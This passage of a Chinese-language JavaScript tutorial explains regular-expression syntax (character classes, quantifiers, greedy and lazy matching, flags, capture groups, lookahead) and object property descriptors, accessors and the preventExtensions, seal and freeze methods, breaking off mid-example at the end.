正则表达式对一些不能打印的特殊字符,提供了表达方法。

  • \cX 表示Ctrl-[X],其中的X是A-Z之中任一个英文字母,用来匹配控制字符。
  • [\b] 匹配退格键(U+0008),不要与\b混淆。
  • \n 匹配换行键。
  • \r 匹配回车键。
  • \t 匹配制表符 tab(U+0009)。
  • \v 匹配垂直制表符(U+000B)。
  • \f 匹配换页符(U+000C)。
  • \0 匹配null字符(U+0000)。
  • \xhh 匹配一个以两位十六进制数(\x00-\xFF)表示的字符。
  • \uhhhh 匹配一个以四位十六进制数(\u0000-\uFFFF)表示的 Unicode 字符。

字符类

字符类(class)表示有一系列字符可供选择,只要匹配其中一个就可以了。所有可供选择的字符都放在方括号内,比如[xyz] 表示xyz之中任选一个匹配。

1
2
/[abc]/.test('hello world') // false
/[abc]/.test('apple') // true

上面代码中,字符串hello world不包含abc这三个字母中的任一个,所以返回false;字符串apple包含字母a,所以返回true

有两个字符在字符类中有特殊含义。

(1)脱字符(^)

如果方括号内的第一个字符是[^],则表示除了字符类之中的字符,其他字符都可以匹配。比如,[^xyz]表示除了xyz之外都可以匹配。

1
2
/[^abc]/.test('bbc news') // true
/[^abc]/.test('bbc') // false

上面代码中,字符串bbc news包含abc以外的其他字符,所以返回true;字符串bbc不包含abc以外的其他字符,所以返回false

如果方括号内没有其他字符,即只有[^],就表示匹配一切字符,其中包括换行符。相比之下,点号作为元字符(.)是不包括换行符的。

1
2
3
4
var s = 'Please yes\nmake my day!';

s.match(/yes.*day/) // null
s.match(/yes[^]*day/) // [ 'yes\nmake my day']

上面代码中,字符串s含有一个换行符,点号不包括换行符,所以第一个正则表达式匹配失败;第二个正则表达式[^]包含一切字符,所以匹配成功。

注意,脱字符只有在字符类的第一个位置才有特殊含义,否则就是字面含义。

(2)连字符(-)

某些情况下,对于连续序列的字符,连字符(-)用来提供简写形式,表示字符的连续范围。比如,[abc]可以写成[a-c][0123456789]可以写成[0-9],同理[A-Z]表示26个大写字母。

1
2
/a-z/.test('b') // false
/[a-z]/.test('b') // true

上面代码中,当连字号(dash)不出现在方括号之中,就不具备简写的作用,只代表字面的含义,所以不匹配字符b。只有当连字号用在方括号之中,才表示连续的字符序列。

以下都是合法的字符类简写形式。

1
2
3
4
[0-9.,]
[0-9a-fA-F]
[a-zA-Z0-9-]
[1-31]

上面代码中最后一个字符类[1-31],不代表131,只代表13

连字符还可以用来指定 Unicode 字符的范围。

1
2
3
var str = "\u0130\u0131\u0132";
/[\u0128-\uFFFF]/.test(str)
// true

上面代码中,\u0128-\uFFFF表示匹配码点在0128FFFF之间的所有字符。

另外,不要过分使用连字符,设定一个很大的范围,否则很可能选中意料之外的字符。最典型的例子就是[A-z],表面上它是选中从大写的A到小写的z之间52个字母,但是由于在 ASCII 编码之中,大写字母与小写字母之间还有其他字符,结果就会出现意料之外的结果。

1
/[A-z]/.test('\\') // true

上面代码中,由于反斜杠(’\’)的ASCII码在大写字母与小写字母之间,结果会被选中。

预定义模式

预定义模式指的是某些常见模式的简写方式。

  • \d 匹配0-9之间的任一数字,相当于[0-9]
  • \D 匹配所有0-9以外的字符,相当于[^0-9]
  • \w 匹配任意的字母、数字和下划线,相当于[A-Za-z0-9_]
  • \W 除所有字母、数字和下划线以外的字符,相当于[^A-Za-z0-9_]
  • \s 匹配空格(包括换行符、制表符、空格符等),相等于[ \t\r\n\v\f]
  • \S 匹配非空格的字符,相当于[^ \t\r\n\v\f]
  • \b 匹配词的边界。
  • \B 匹配非词边界,即在词的内部。

下面是一些例子。

1
2
3
4
5
6
7
8
9
10
11
// \s 的例子
/\s\w*/.exec('hello world') // [" world"]

// \b 的例子
/\bworld/.test('hello world') // true
/\bworld/.test('hello-world') // true
/\bworld/.test('helloworld') // false

// \B 的例子
/\Bworld/.test('hello-world') // false
/\Bworld/.test('helloworld') // true

上面代码中,\s表示空格,所以匹配结果会包括空格。\b表示词的边界,所以world的词首必须独立(词尾是否独立未指定),才会匹配。同理,\B表示非词的边界,只有world的词首不独立,才会匹配。

通常,正则表达式遇到换行符(\n)就会停止匹配。

1
2
3
4
var html = "<b>Hello</b>\n<i>world!</i>";

/.*/.exec(html)[0]
// "<b>Hello</b>"

上面代码中,字符串html包含一个换行符,结果点字符(.)不匹配换行符,导致匹配结果可能不符合原意。这时使用\s字符类,就能包括换行符。

1
2
3
4
var html = "<b>Hello</b>\n<i>world!</i>";

/[\S\s]*/.exec(html)[0]
// "<b>Hello</b>\n<i>world!</i>"

上面代码中,[\S\s]指代一切字符。

重复类

模式的精确匹配次数,使用大括号({})表示。{n}表示恰好重复n次,{n,}表示至少重复n次,{n,m}表示重复不少于n次,不多于m次。

1
2
/lo{2}k/.test('look') // true
/lo{2,5}k/.test('looook') // true

上面代码中,第一个模式指定o连续出现2次,第二个模式指定o连续出现2次到5次之间。

量词符

量词符用来设定某个模式出现的次数。

  • ? 问号表示某个模式出现0次或1次,等同于{0, 1}
  • * 星号表示某个模式出现0次或多次,等同于{0,}
  • + 加号表示某个模式出现1次或多次,等同于{1,}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// t 出现0次或1次
/t?est/.test('test') // true
/t?est/.test('est') // true

// t 出现1次或多次
/t+est/.test('test') // true
/t+est/.test('ttest') // true
/t+est/.test('est') // false

// t 出现0次或多次
/t*est/.test('test') // true
/t*est/.test('ttest') // true
/t*est/.test('tttest') // true
/t*est/.test('est') // true

贪婪模式

上一小节的三个量词符,默认情况下都是最大可能匹配,即匹配直到下一个字符不满足匹配规则为止。这被称为贪婪模式。

1
2
var s = 'aaa';
s.match(/a+/) // ["aaa"]

上面代码中,模式是/a+/,表示匹配1个a或多个a,那么到底会匹配几个a呢?因为默认是贪婪模式,会一直匹配到字符a不出现为止,所以匹配结果是3个a

如果想将贪婪模式改为非贪婪模式,可以在量词符后面加一个问号。

1
2
var s = 'aaa';
s.match(/a+?/) // ["a"]

上面代码中,模式结尾添加了一个问号/a+?/,这时就改为非贪婪模式,一旦条件满足,就不再往下匹配。

除了非贪婪模式的加号,还有非贪婪模式的星号(*)和非贪婪模式的问号(?)。

  • +?:表示某个模式出现1次或多次,匹配时采用非贪婪模式。
  • *?:表示某个模式出现0次或多次,匹配时采用非贪婪模式。
  • ??:表格某个模式出现0次或1次,匹配时采用非贪婪模式。
1
2
3
4
5
'abb'.match(/ab*b/) // ["abb"]
'abb'.match(/ab*?b/) // ["ab"]

'abb'.match(/ab?b/) // ["abb"]
'abb'.match(/ab??b/) // ["ab"]

修饰符

修饰符(modifier)表示模式的附加规则,放在正则模式的最尾部。

修饰符可以单个使用,也可以多个一起使用。

1
2
3
4
5
// 单个修饰符
var regex = /test/i;

// 多个修饰符
var regex = /test/ig;

(1)g 修饰符

默认情况下,第一次匹配成功后,正则对象就停止向下匹配了。g修饰符表示全局匹配(global),加上它以后,正则对象将匹配全部符合条件的结果,主要用于搜索和替换。

1
2
3
4
5
6
var regex = /b/;
var str = 'abba';

regex.test(str); // true
regex.test(str); // true
regex.test(str); // true

上面代码中,正则模式不含g修饰符,每次都是从字符串头部开始匹配。所以,连续做了三次匹配,都返回true

1
2
3
4
5
6
var regex = /b/g;
var str = 'abba';

regex.test(str); // true
regex.test(str); // true
regex.test(str); // false

上面代码中,正则模式含有g修饰符,每次都是从上一次匹配成功处,开始向后匹配。因为字符串abba只有两个b,所以前两次匹配结果为true,第三次匹配结果为false

(2)i 修饰符

默认情况下,正则对象区分字母的大小写,加上i修饰符以后表示忽略大小写(ignoreCase)。

1
2
/abc/.test('ABC') // false
/abc/i.test('ABC') // true

上面代码表示,加了i修饰符以后,不考虑大小写,所以模式abc匹配字符串ABC

(3)m 修饰符

m修饰符表示多行模式(multiline),会修改^$的行为。默认情况下(即不加m修饰符时),^$匹配字符串的开始处和结尾处,加上m修饰符以后,^$还会匹配行首和行尾,即^$会识别换行符(\n)。

1
2
/world$/.test('hello world\n') // false
/world$/m.test('hello world\n') // true

上面的代码中,字符串结尾处有一个换行符。如果不加m修饰符,匹配不成功,因为字符串的结尾不是world;加上以后,$可以匹配行尾。

1
/^b/m.test('a\nb') // true

上面代码要求匹配行首的b,如果不加m修饰符,就相当于b只能处在字符串的开始处。加上m修饰符以后,换行符\n也会被认为是一行的开始。

组匹配

(1)概述

正则表达式的括号表示分组匹配,括号中的模式可以用来匹配分组的内容。

1
2
/fred+/.test('fredd') // true
/(fred)+/.test('fredfred') // true

上面代码中,第一个模式没有括号,结果+只表示重复字母d,第二个模式有括号,结果+就表示匹配fred这个词。

下面是另外一个分组捕获的例子。

1
2
3
var m = 'abcabc'.match(/(.)b(.)/);
m
// ['abc', 'a', 'c']

上面代码中,正则表达式/(.)b(.)/一共使用两个括号,第一个括号捕获a,第二个括号捕获c

注意,使用组匹配时,不宜同时使用g修饰符,否则match方法不会捕获分组的内容。

1
2
var m = 'abcabc'.match(/(.)b(.)/g);
m // ['abc', 'abc']

上面代码使用带g修饰符的正则表达式,结果match方法只捕获了匹配整个表达式的部分。这时必须使用正则表达式的exec方法,配合循环,才能读到每一轮匹配的组捕获。

1
2
3
4
5
6
7
8
9
var str = 'abcabc';
var reg = /(.)b(.)/g;
while (true) {
var result = reg.exec(str);
if (!result) break;
console.log(result);
}
// ["abc", "a", "c"]
// ["abc", "a", "c"]

正则表达式内部,还可以用\n引用括号匹配的内容,n是从1开始的自然数,表示对应顺序的括号。

1
2
/(.)b(.)\1b\2/.test("abcabc")
// true

上面的代码中,\1表示第一个括号匹配的内容(即a),\2表示第二个括号匹配的内容(即c)。

下面是另外一个例子。

1
/y(..)(.)\2\1/.test('yabccab') // true

括号还可以嵌套。

1
/y((..)\2)\1/.test('yabababab') // true

上面代码中,\1指向外层括号,\2指向内层括号。

组匹配非常有用,下面是一个匹配网页标签的例子。

1
2
3
4
var tagName = /<([^>]+)>[^<]*<\/\1>/;

tagName.exec("<b>bold</b>")[1]
// 'b'

上面代码中,圆括号匹配尖括号之中的标签,而\1就表示对应的闭合标签。

上面代码略加修改,就能捕获带有属性的标签。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var html = '<b class="hello">Hello</b><i>world</i>';
var tag = /<(\w+)([^>]*)>(.*?)<\/\1>/g;

var match = tag.exec(html);

match[1] // "b"
match[2] // " class="hello""
match[3] // "Hello"

match = tag.exec(html);

match[1] // "i"
match[2] // ""
match[3] // "world"

(2)非捕获组

(?:x)称为非捕获组(Non-capturing group),表示不返回该组匹配的内容,即匹配的结果中不计入这个括号。

非捕获组的作用请考虑这样一个场景,假定需要匹配foo或者foofoo,正则表达式就应该写成/(foo){1, 2}/,但是这样会占用一个组匹配。这时,就可以使用非捕获组,将正则表达式改为/(?:foo){1, 2}/,它的作用与前一个正则是一样的,但是不会单独输出括号内部的内容。

请看下面的例子。

1
2
var m = 'abc'.match(/(?:.)b(.)/);
m // ["abc", "c"]

上面代码中的模式,一共使用了两个括号。其中第一个括号是非捕获组,所以最后返回的结果中没有第一个括号,只有第二个括号匹配的内容。

下面是用来分解网址的正则表达式。

1
2
3
4
5
6
7
8
9
10
11
// 正常匹配
var url = /(http|ftp):\/\/([^/\r\n]+)(\/[^\r\n]*)?/;

url.exec('http://google.com/');
// ["http://google.com/", "http", "google.com", "/"]

// 非捕获组匹配
var url = /(?:http|ftp):\/\/([^/\r\n]+)(\/[^\r\n]*)?/;

url.exec('http://google.com/');
// ["http://google.com/", "google.com", "/"]

上面的代码中,前一个正则表达式是正常匹配,第一个括号返回网络协议;后一个正则表达式是非捕获匹配,返回结果中不包括网络协议。

(3)先行断言

x(?=y)称为先行断言(Positive look-ahead),x只有在y前面才匹配,y不会被计入返回结果。比如,要匹配后面跟着百分号的数字,可以写成/\d+(?=%)/

“先行断言”中,括号里的部分是不会返回的。

1
2
var m = 'abc'.match(/b(?=c)/);
m // ["b"]

上面的代码使用了先行断言,bc前面所以被匹配,但是括号对应的c不会被返回。

(4)先行否定断言

x(?!y)称为先行否定断言(Negative look-ahead),x只有不在y前面才匹配,y不会被计入返回结果。比如,要匹配后面跟的不是百分号的数字,就要写成/\d+(?!%)/

1
2
/\d+(?!\.)/.exec('3.14')
// ["14"]

上面代码中,正则表达式指定,只有不在小数点前面的数字才会被匹配,因此返回的结果就是14

“先行否定断言”中,括号里的部分是不会返回的。

1
2
var m = 'abd'.match(/b(?!c)/);
m // ['b']

上面的代码使用了先行否定断言,b不在c前面所以被匹配,而且括号对应的d不会被返回。

参考链接

属性描述对象

概述

JavaScript 提供了一个内部数据结构,用来描述对象的属性,控制它的行为,比如该属性是否可写、可遍历等等。这个内部数据结构称为“属性描述对象”(attributes object)。每个属性都有自己对应的属性描述对象,保存该属性的一些元信息。

下面是属性描述对象的一个例子。

1
2
3
4
5
6
7
8
{
value: 123,
writable: false,
enumerable: true,
configurable: false,
get: undefined,
set: undefined
}

属性描述对象提供6个元属性。

(1)value

value是该属性的属性值,默认为undefined

(2)writable

writable是一个布尔值,表示属性值(value)是否可改变(即是否可写),默认为true

(3)enumerable

enumerable是一个布尔值,表示该属性是否可遍历,默认为true。如果设为false,会使得某些操作(比如for...in循环、Object.keys())跳过该属性。

(4)configurable

configurable是一个布尔值,表示可配置性,默认为true。如果设为false,将阻止某些操作改写该属性,比如无法删除该属性,也不得改变该属性的属性描述对象(value属性除外)。也就是说,configurable属性控制了属性描述对象的可写性。

(5)get

get是一个函数,表示该属性的取值函数(getter),默认为undefined

(6)set

set是一个函数,表示该属性的存值函数(setter),默认为undefined

Object.getOwnPropertyDescriptor()

Object.getOwnPropertyDescriptor()方法可以获取属性描述对象。它的第一个参数是目标对象,第二个参数是一个字符串,对应目标对象的某个属性名。

1
2
3
4
5
6
7
8
var obj = { p: 'a' };

Object.getOwnPropertyDescriptor(obj, 'p')
// Object { value: "a",
// writable: true,
// enumerable: true,
// configurable: true
// }

上面代码中,Object.getOwnPropertyDescriptor()方法获取obj.p的属性描述对象。

注意,Object.getOwnPropertyDescriptor()方法只能用于对象自身的属性,不能用于继承的属性。

1
2
3
4
var obj = { p: 'a' };

Object.getOwnPropertyDescriptor(obj, 'toString')
// undefined

上面代码中,toStringobj对象继承的属性,Object.getOwnPropertyDescriptor()无法获取。

Object.getOwnPropertyNames()

Object.getOwnPropertyNames方法返回一个数组,成员是参数对象自身的全部属性的属性名,不管该属性是否可遍历。

1
2
3
4
5
6
7
var obj = Object.defineProperties({}, {
p1: { value: 1, enumerable: true },
p2: { value: 2, enumerable: false }
});

Object.getOwnPropertyNames(obj)
// ["p1", "p2"]

上面代码中,obj.p1是可遍历的,obj.p2是不可遍历的。Object.getOwnPropertyNames会将它们都返回。

这跟Object.keys的行为不同,Object.keys只返回对象自身的可遍历属性的全部属性名。

1
2
3
4
5
6
7
8
9
10
11
12
Object.keys([]) // []
Object.getOwnPropertyNames([]) // [ 'length' ]

Object.keys(Object.prototype) // []
Object.getOwnPropertyNames(Object.prototype)
// ['hasOwnProperty',
// 'valueOf',
// 'constructor',
// 'toLocaleString',
// 'isPrototypeOf',
// 'propertyIsEnumerable',
// 'toString']

上面代码中,数组自身的length属性是不可遍历的,Object.keys不会返回该属性。第二个例子的Object.prototype也是一个对象,所有实例对象都会继承它,它自身的属性都是不可遍历的。

Object.defineProperty(),Object.defineProperties()

Object.defineProperty()方法允许通过属性描述对象,定义或修改一个属性,然后返回修改后的对象,它的用法如下。

1
Object.defineProperty(object, propertyName, attributesObject)

Object.defineProperty方法接受三个参数,依次如下。

  • object:属性所在的对象
  • propertyName:字符串,表示属性名
  • attributesObject:属性描述对象

举例来说,定义obj.p可以写成下面这样。

1
2
3
4
5
6
7
8
9
10
11
var obj = Object.defineProperty({}, 'p', {
value: 123,
writable: false,
enumerable: true,
configurable: false
});

obj.p // 123

obj.p = 246;
obj.p // 123

上面代码中,Object.defineProperty()方法定义了obj.p属性。由于属性描述对象的writable属性为false,所以obj.p属性不可写。注意,这里的Object.defineProperty方法的第一个参数是{}(一个新建的空对象),p属性直接定义在这个空对象上面,然后返回这个对象,这是Object.defineProperty()的常见用法。

如果属性已经存在,Object.defineProperty()方法相当于更新该属性的属性描述对象。

如果一次性定义或修改多个属性,可以使用Object.defineProperties()方法。

1
2
3
4
5
6
7
8
9
10
11
12
var obj = Object.defineProperties({}, {
p1: { value: 123, enumerable: true },
p2: { value: 'abc', enumerable: true },
p3: { get: function () { return this.p1 + this.p2 },
enumerable:true,
configurable:true
}
});

obj.p1 // 123
obj.p2 // "abc"
obj.p3 // "123abc"

上面代码中,Object.defineProperties()同时定义了obj对象的三个属性。其中,p3属性定义了取值函数get,即每次读取该属性,都会调用这个取值函数。

注意,一旦定义了取值函数get(或存值函数set),就不能将writable属性设为true,或者同时定义value属性,否则会报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var obj = {};

Object.defineProperty(obj, 'p', {
value: 123,
get: function() { return 456; }
});
// TypeError: Invalid property.
// A property cannot both have accessors and be writable or have a value

Object.defineProperty(obj, 'p', {
writable: true,
get: function() { return 456; }
});
// TypeError: Invalid property descriptor.
// Cannot both specify accessors and a value or writable attribute

上面代码中,同时定义了get属性和value属性,以及将writable属性设为true,就会报错。

Object.defineProperty()Object.defineProperties()参数里面的属性描述对象,writableconfigurableenumerable这三个属性的默认值都为false

1
2
3
4
5
6
7
8
9
var obj = {};
Object.defineProperty(obj, 'foo', {});
Object.getOwnPropertyDescriptor(obj, 'foo')
// {
// value: undefined,
// writable: false,
// enumerable: false,
// configurable: false
// }

上面代码中,定义obj.foo时用了一个空的属性描述对象,就可以看到各个元属性的默认值。

Object.prototype.propertyIsEnumerable()

实例对象的propertyIsEnumerable()方法返回一个布尔值,用来判断某个属性是否可遍历。注意,这个方法只能用于判断对象自身的属性,对于继承的属性一律返回false

1
2
3
4
5
var obj = {};
obj.p = 123;

obj.propertyIsEnumerable('p') // true
obj.propertyIsEnumerable('toString') // false

上面代码中,obj.p是可遍历的,而obj.toString是继承的属性。

元属性

属性描述对象的各个属性称为“元属性”,因为它们可以看作是控制属性的属性。

value

value属性是目标属性的值。

1
2
3
4
5
6
7
8
var obj = {};
obj.p = 123;

Object.getOwnPropertyDescriptor(obj, 'p').value
// 123

Object.defineProperty(obj, 'p', { value: 246 });
obj.p // 246

上面代码是通过value属性,读取或改写obj.p的例子。

writable

writable属性是一个布尔值,决定了目标属性的值(value)是否可以被改变。

1
2
3
4
5
6
7
8
9
10
var obj = {};

Object.defineProperty(obj, 'a', {
value: 37,
writable: false
});

obj.a // 37
obj.a = 25;
obj.a // 37

上面代码中,obj.awritable属性是false。然后,改变obj.a的值,不会有任何效果。

注意,正常模式下,对writablefalse的属性赋值不会报错,只会默默失败。但是,严格模式下会报错,即使对a属性重新赋予一个同样的值。

1
2
3
4
5
6
7
8
9
10
'use strict';
var obj = {};

Object.defineProperty(obj, 'a', {
value: 37,
writable: false
});

obj.a = 37;
// Uncaught TypeError: Cannot assign to read only property 'a' of object

上面代码是严格模式,对obj.a任何赋值行为都会报错。

如果原型对象的某个属性的writablefalse,那么子对象将无法自定义这个属性。

1
2
3
4
5
6
7
8
9
var proto = Object.defineProperty({}, 'foo', {
value: 'a',
writable: false
});

var obj = Object.create(proto);

obj.foo = 'b';
obj.foo // 'a'

上面代码中,proto是原型对象,它的foo属性不可写。obj对象继承proto,也不可以再自定义这个属性了。如果是严格模式,这样做还会抛出一个错误。

但是,有一个规避方法,就是通过覆盖属性描述对象,绕过这个限制。原因是这种情况下,原型链会被完全忽视。

1
2
3
4
5
6
7
8
9
10
11
var proto = Object.defineProperty({}, 'foo', {
value: 'a',
writable: false
});

var obj = Object.create(proto);
Object.defineProperty(obj, 'foo', {
value: 'b'
});

obj.foo // "b"

enumerable

enumerable(可遍历性)返回一个布尔值,表示目标属性是否可遍历。

JavaScript 的早期版本,for...in循环是基于in运算符的。我们知道,in运算符不管某个属性是对象自身的还是继承的,都会返回true

1
2
var obj = {};
'toString' in obj // true

上面代码中,toString不是obj对象自身的属性,但是in运算符也返回true,这导致了toString属性也会被for...in循环遍历。

这显然不太合理,后来就引入了“可遍历性”这个概念。只有可遍历的属性,才会被for...in循环遍历,同时还规定toString这一类实例对象继承的原生属性,都是不可遍历的,这样就保证了for...in循环的可用性。

具体来说,如果一个属性的enumerablefalse,下面三个操作不会取到该属性。

  • for..in循环
  • Object.keys方法
  • JSON.stringify方法

因此,enumerable可以用来设置“秘密”属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var obj = {};

Object.defineProperty(obj, 'x', {
value: 123,
enumerable: false
});

obj.x // 123

for (var key in obj) {
console.log(key);
}
// undefined

Object.keys(obj) // []
JSON.stringify(obj) // "{}"

上面代码中,obj.x属性的enumerablefalse,所以一般的遍历操作都无法获取该属性,使得它有点像“秘密”属性,但不是真正的私有属性,还是可以直接获取它的值。

注意,for...in循环包括继承的属性,Object.keys方法不包括继承的属性。如果需要获取对象自身的所有属性,不管是否可遍历,可以使用Object.getOwnPropertyNames方法。

另外,JSON.stringify方法会排除enumerablefalse的属性,有时可以利用这一点。如果对象的 JSON 格式输出要排除某些属性,就可以把这些属性的enumerable设为false

configurable

configurable(可配置性)返回一个布尔值,决定了是否可以修改属性描述对象。也就是说,configurablefalse时,valuewritableenumerableconfigurable都不能被修改了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var obj = Object.defineProperty({}, 'p', {
value: 1,
writable: false,
enumerable: false,
configurable: false
});

Object.defineProperty(obj, 'p', {value: 2})
// TypeError: Cannot redefine property: p

Object.defineProperty(obj, 'p', {writable: true})
// TypeError: Cannot redefine property: p

Object.defineProperty(obj, 'p', {enumerable: true})
// TypeError: Cannot redefine property: p

Object.defineProperty(obj, 'p', {configurable: true})
// TypeError: Cannot redefine property: p

上面代码中,obj.pconfigurablefalse。然后,改动valuewritableenumerableconfigurable,结果都报错。

注意,writable只有在false改为true会报错,true改为false是允许的。

1
2
3
4
5
6
7
var obj = Object.defineProperty({}, 'p', {
writable: true,
configurable: false
});

Object.defineProperty(obj, 'p', {writable: false})
// 修改成功

至于value,只要writableconfigurable有一个为true,就允许改动。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var o1 = Object.defineProperty({}, 'p', {
value: 1,
writable: true,
configurable: false
});

Object.defineProperty(o1, 'p', {value: 2})
// 修改成功

var o2 = Object.defineProperty({}, 'p', {
value: 1,
writable: false,
configurable: true
});

Object.defineProperty(o2, 'p', {value: 2})
// 修改成功

另外,writablefalse时,直接目标属性赋值,不报错,但不会成功。

1
2
3
4
5
6
7
8
var obj = Object.defineProperty({}, 'p', {
value: 1,
writable: false,
configurable: false
});

obj.p = 2;
obj.p // 1

上面代码中,obj.pwritablefalse,对obj.p直接赋值不会生效。如果是严格模式,还会报错。

可配置性决定了目标属性是否可以被删除(delete)。

1
2
3
4
5
6
7
8
9
10
var obj = Object.defineProperties({}, {
p1: { value: 1, configurable: true },
p2: { value: 2, configurable: false }
});

delete obj.p1 // true
delete obj.p2 // false

obj.p1 // undefined
obj.p2 // 2

上面代码中,obj.p1configurabletrue,所以可以被删除,obj.p2就无法删除。

存取器

除了直接定义以外,属性还可以用存取器(accessor)定义。其中,存值函数称为setter,使用属性描述对象的set属性;取值函数称为getter,使用属性描述对象的get属性。

一旦对目标属性定义了存取器,那么存取的时候,都将执行对应的函数。利用这个功能,可以实现许多高级特性,比如某个属性禁止赋值。

1
2
3
4
5
6
7
8
9
10
11
var obj = Object.defineProperty({}, 'p', {
get: function () {
return 'getter';
},
set: function (value) {
console.log('setter: ' + value);
}
});

obj.p // "getter"
obj.p = 123 // "setter: 123"

上面代码中,obj.p定义了getset属性。obj.p取值时,就会调用get;赋值时,就会调用set

JavaScript 还提供了存取器的另一种写法。

1
2
3
4
5
6
7
8
var obj = {
get p() {
return 'getter';
},
set p(value) {
console.log('setter: ' + value);
}
};

上面的写法与定义属性描述对象是等价的,而且使用更广泛。

注意,取值函数get不能接受参数,存值函数set只能接受一个参数(即属性的值)。

存取器往往用于,属性的值依赖对象内部数据的场合。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var obj ={
$n : 5,
get next() { return this.$n++ },
set next(n) {
if (n >= this.$n) this.$n = n;
else throw new Error('新的值必须大于当前值');
}
};

obj.next // 5

obj.next = 10;
obj.next // 10

obj.next = 5;
// Uncaught Error: 新的值必须大于当前值

上面代码中,next属性的存值函数和取值函数,都依赖于内部属性$n

对象的拷贝

有时,我们需要将一个对象的所有属性,拷贝到另一个对象,可以用下面的方法实现。

1
2
3
4
5
6
7
8
9
10
11
12
var extend = function (to, from) {
for (var property in from) {
to[property] = from[property];
}

return to;
}

extend({}, {
a: 1
})
// {a: 1}

上面这个方法的问题在于,如果遇到存取器定义的属性,会只拷贝值。

1
2
3
4
extend({}, {
get a() { return 1 }
})
// {a: 1}

为了解决这个问题,我们可以通过Object.defineProperty方法来拷贝属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var extend = function (to, from) {
for (var property in from) {
if (!from.hasOwnProperty(property)) continue;
Object.defineProperty(
to,
property,
Object.getOwnPropertyDescriptor(from, property)
);
}

return to;
}

extend({}, { get a(){ return 1 } })
// { get a(){ return 1 } })

上面代码中,hasOwnProperty那一行用来过滤掉继承的属性,否则可能会报错,因为Object.getOwnPropertyDescriptor读不到继承属性的属性描述对象。

控制对象状态

有时需要冻结对象的读写状态,防止对象被改变。JavaScript 提供了三种冻结方法,最弱的一种是Object.preventExtensions,其次是Object.seal,最强的是Object.freeze

Object.preventExtensions()

Object.preventExtensions方法可以使得一个对象无法再添加新的属性。

1
2
3
4
5
6
7
8
9
10
var obj = new Object();
Object.preventExtensions(obj);

Object.defineProperty(obj, 'p', {
value: 'hello'
});
// TypeError: Cannot define property:p, object is not extensible.

obj.p = 1;
obj.p // undefined

上面代码中,obj对象经过Object.preventExtensions以后,就无法添加新属性了。

Object.isExtensible()

Object.isExtensible方法用于检查一个对象是否使用了Object.preventExtensions方法。也就是说,检查是否可以为一个对象添加属性。

1
2
3
4
5
var obj = new Object();

Object.isExtensible(obj) // true
Object.preventExtensions(obj);
Object.isExtensible(obj) // false

上面代码中,对obj对象使用Object.preventExtensions方法以后,再使用Object.isExtensible方法,返回false,表示已经不能添加新属性了。

Object.seal()

Object.seal方法使得一个对象既无法添加新属性,也无法删除旧属性。

1
2
3
4
5
6
7
8
var obj = { p: 'hello' };
Object.seal(obj);

delete obj.p;
obj.p // "hello"

obj.x = 'world';
obj.x // undefined

上面代码中,obj对象执行Object.seal方法以后,就无法添加新属性和删除旧属性了。

Object.seal实质是把属性描述对象的configurable属性设为false,因此属性描述对象不再能改变了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var obj = {
p: 'a'
};

// seal方法之前
Object.getOwnPropertyDescriptor(obj, 'p')
// Object {
// value: "a",
// writable: true,
// enumerable: true,
// configurable: true
// }

Object.seal(obj);

// seal方法之后
Object.getOwnPropertyDescriptor(obj, 'p')
// Object {
// value: "a",
// writable: true,
// enumerable: true,
// configurable: false
// }

Object.defineProperty(o, 'p', {
enumerable: false
})
// TypeError: Cannot redefine property: p

上面代码中,使用Object.seal方法之后,属性描述对象的configurable属性就变成了false,然后改变enumerable属性就会报错。

Object.seal只是禁止新增或删除属性,并不影响修改某个属性的值。

1
2
3
4
var obj = { p: 'a' };
Object.seal(obj);
obj.p = 'b';
obj.p // 'b'

上面代码中,Object.seal方法对p属性的value无效,是因为此时p属性的可写性由writable决定。

Object.isSealed()

Object.isSealed方法用于检查一个对象是否使用了Object.seal方法。

1
2
3
4
var obj = { p: 'a' };

Object.seal(obj);
Object.isSealed(obj) // true

这时,Object.isExtensible方法也返回false

1
2
3
4
var obj = { p: 'a' };

Object.seal(obj);
Object.isExtensible(obj) // false

Object.freeze()

Object.freeze方法可以使得一个对象无法添加新属性、无法删除旧属性、也无法改变属性的值,使得这个对象实际上变成了常量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var obj = {
p: 'hello'
};

Object.freeze(obj);

obj.p = 'world';
obj.p // "hello"

obj.t = 'hello';
obj.t // undefined

delete obj.p // false
obj.p // "hello"

上面代码中,对obj对象进行Object.freeze()以后,修改属性、新增属性、删除属性都无效了。这些操作并不报错,只是默默地失败。如果在严格模式下,则会报错。

Object.isFrozen()

Object.isFrozen方法用于检查一个对象是否使用了Object.freeze方法。

1
2
3
4
5
6
var obj = {
p: 'hello'
};

Object.freeze(obj);
Object.isFrozen(obj) // true

使用Object.freeze方法以后,Object.isSealed将会返回trueObject.isExtensible返回false

1
2
3
4
5
6
7
8
var obj = {
p: 'hello'
};

Object.freeze(obj);

Object.isSealed(obj) // true
Object.isExtensible(obj) // false

Object.isFrozen的一个用途是,确认某个对象没有被冻结后,再对它的属性赋值。

1
2
3
4
5
6
7
8
9
var obj = {
p: 'hello'
};

Object.freeze(obj);

if (!Object.isFrozen(obj)) {
obj.p = 'world';
}

上面代码中,确认obj没有被冻结后,再对它的属性赋值,就不会报错了。

局限性

上面的三个方法锁定对象的可写性有一个漏洞:可以通过改变原型对象,来为对象增加属性。

1
2
3
4
5
6
7
var obj = new Object();
Object.preventExtensions(obj);

var proto = Object.getPrototypeOf(obj);
proto.t = 'hello';
obj.t
// hello

上面代码中,对象obj本身不能新增属性,但是可以在它的原型对象上新增属性,就依然能够在obj上读到。

一种解决方案是,把obj的原型也冻结住。

1
2
3
4
5
6
7
8
var obj = new Object();
Object.preventExtensions(obj);

var proto = Object.getPrototypeOf(obj);
Object.preventExtensions(proto);

proto.t = 'hello';
obj.t // undefined

另外一个局限是,如果属性值是对象,上面这些方法只能冻结属性指向的对象,而不能冻结对象本身的内容。

1
2
3
4
5
6
7
8
var obj = {
foo: 1,
bar: ['a', 'b']
};
Object.freeze(obj);

